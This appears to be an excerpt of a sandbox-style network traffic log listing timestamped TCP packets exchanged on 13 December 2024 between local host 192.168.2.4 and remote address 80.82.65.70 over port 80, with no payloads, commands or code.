Dec 13, 2024 08:36:35.738327026 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.738511086 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.738558054 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.739391088 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.739403963 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.739442110 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.739476919 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.740319014 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.740329981 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.740370989 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.741147041 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.741193056 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.741322994 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.741364956 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.742046118 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.742094040 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.742350101 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.742834091 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.742878914 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.743011951 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.743056059 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.743849039 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.743860960 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.743896008 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.743908882 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.744601965 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.744623899 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.744668007 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.745457888 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.745506048 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.745630980 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.745717049 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.746484041 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.746660948 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.746712923 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.747049093 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.747091055 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.747579098 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.747622967 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.748184919 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.748208046 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.748222113 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.748243093 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.749049902 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.749063015 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.749098063 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.749109030 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.749856949 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.750036001 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.750091076 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.750814915 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.750864029 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.750999928 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.751044989 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.751694918 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.751717091 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.751749039 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.751761913 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.752577066 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.752767086 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.752813101 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.753417015 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.753465891 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.753592014 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.753635883 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.754369974 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.756294966 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.756309986 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.756324053 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.756339073 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.756344080 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.756350994 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.756357908 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.756388903 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.756401062 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.757005930 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.757340908 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.757390976 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.757837057 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.757850885 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.757880926 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.757899046 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.758949995 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.758970976 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.759020090 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.759628057 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.759679079 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.759810925 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.759859085 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.760171890 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.760216951 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.760766983 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.760812998 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.761584997 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.761631966 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.761739969 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.761785984 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.762473106 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.762660980 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.762711048 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.762859106 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.762871981 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.762902975 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.762923956 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.763358116 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.763475895 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.763533115 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.766238928 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.766297102 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.766349077 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.766393900 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.767183065 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.767205000 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.767225027 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.767250061 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.767461061 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.767482996 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.767493963 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.767505884 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.767529011 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.767550945 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.768655062 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.768827915 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.768879890 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.769582987 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.769596100 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.769634962 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.769675016 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.769913912 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.769927979 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.769977093 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.770838022 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.770889044 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.770893097 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.770942926 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.771642923 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.771657944 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.771688938 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.771709919 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.773739100 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.773788929 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.773880959 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.773966074 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.774425983 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.774499893 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.774574995 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.774626970 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.775204897 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.775250912 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.775402069 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.775455952 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.857868910 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.857887030 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.857934952 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.858269930 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.858283043 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.858325005 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.858963013 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.859059095 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.859071970 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.859124899 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.859858036 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.859915018 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.923074961 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.923141003 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.923154116 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.923183918 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.923440933 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.923475981 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.923506021 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.923531055 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.924390078 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.924424887 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.924473047 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.924489975 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.925335884 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.925369978 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.925390959 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.925424099 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.926127911 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.926163912 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.926181078 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.926219940 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.927153111 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.927187920 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.927203894 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.927236080 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.927927017 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.927963018 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.928009987 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.928778887 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.928833961 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.928953886 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.929014921 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.929686069 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.929735899 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.929811001 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.929873943 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.930614948 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.930649042 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.930675983 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.930704117 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.931469917 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.931586981 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.931611061 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.931658030 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.932518959 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.932534933 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.932585001 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.933412075 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.933423042 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.933465958 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.934098005 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.934149027 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.934185982 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.934230089 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.935071945 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.935082912 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.935123920 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.935132980 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.935877085 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.935933113 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.935956001 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.936001062 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.936853886 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.936865091 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.936907053 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.937685013 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.937742949 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.937777042 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.937819958 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.938564062 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.938615084 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.938658953 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.938869953 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.939440012 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.939487934 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.939554930 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.939620018 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.940340042 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.940401077 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.940468073 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.940619946 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.941293955 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.941351891 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.941617966 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.941675901 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.942231894 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.942289114 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.942291975 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.942342997 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.943121910 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.943177938 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.943202019 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.943218946 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.944001913 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.944051027 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.944370985 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.944417000 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.944993019 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.945003986 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.945034027 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.945058107 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.945843935 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.945857048 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.945904970 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.945918083 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.946697950 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.946711063 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.946751118 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.947545052 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.947597027 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.947630882 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.947679996 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.948455095 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.948621035 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.948640108 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.948688030 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.949278116 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.949328899 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.949512959 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.949558973 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.950237036 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.950284958 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.950306892 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.950382948 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.951217890 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.951231003 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.951271057 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.951311111 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.952142954 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.952155113 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.952200890 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.952999115 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.953016996 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.953053951 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.953071117 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.953794956 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.953860044 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.953947067 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.953994036 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.954694986 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.954737902 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.954740047 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.954782963 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.955724001 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.955773115 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.955801010 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.955827951 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.956474066 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.956486940 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.956523895 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.956536055 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.957392931 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.957426071 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.957448006 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.957470894 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.958256006 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.958312988 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.958458900 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.958553076 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.959182978 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.959233046 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.959284067 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.959345102 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.960283995 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.960319042 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.960335016 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.960364103 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.961086988 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.961103916 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.961146116 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.961146116 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.961966038 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.961977959 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.962018013 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.962747097 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.962811947 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.962872982 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.962919950 CET	49772	80	192.168.2.4	80.82.65.70
